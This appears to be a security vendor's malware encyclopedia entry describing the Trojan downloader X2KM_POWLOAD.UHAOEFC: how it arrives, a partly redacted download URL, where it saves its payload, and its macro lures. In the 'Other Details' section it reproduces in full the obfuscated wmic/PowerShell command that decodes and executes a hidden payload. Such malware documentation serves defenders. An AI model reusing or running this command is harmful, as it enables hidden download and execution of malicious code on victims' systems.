X2KM_POWLOAD.UHAOEFC

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}ota.com/03062018

It saves the files it downloads using the following names:

• %AppDataLocal%\{Random number}.exe - detected as TSPY_BEBLOH.YMNPS

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

• It has the following content to fool users into enabling macro content:
  
• This Trojan uses the following wmic command to download and execute a malicious file:
  
  wmic pRoCEss call CrEATe "powErsHell -wINDOWstYle HiddEn -NOlOGo -NoNINTeRAcT -noP -eXECUtI BYpass "\"( new-obJEcT SYStEm.Io.comPRession.dEflatesTrEAm( [Io.meMoRYsTREaM][system.CONVeRT]::frOMbAse64StRiNG( 'VY7BSsQwFAB/JYYiLdi0qyLSsoi4rgiyu7gHD+rhNXnQaJIXksdWEf/d6s37zDCGvrJDjOJ80Rcp+uUdcv0IwZDvC/KYxVI834aDTRQ8Bn7tuplYkzOYdsBjKR9Ig7uO0VkNbCmsgEFWfbnBqd4Ob6hZ7D8zo1cbZPWEw42zc6hSK5qCIzBr61DdhwO9YylH5tg1jcaB0RCD0uSb9qy9OG0Xl/JE/j29/J4q/EBZfU/jrJdHxVXVH+8ZEte7RBpzFv/RHw==' ) "\" + [StriNg][ChaR]44 +"\"[Io.ComPrESsiON.compRessioNmoDE]::dECOmPREss) | fOrEACH-OBJecT { new-obJEcT Io.stREamREADer( `$_"\" + [StriNg][ChaR]44 +"\" [sYstEM.tEXT.eNcoding]::ASciI )}).READtoEnD( )| .( `$ENV:CoMspEC[4"\" + [StriNg][ChaR]44 +"\"26"\" + [StriNg][ChaR]44 +"\"25]-jOIN'')"\" |&( $PshoME[21]+$psHOme[30]+'X')"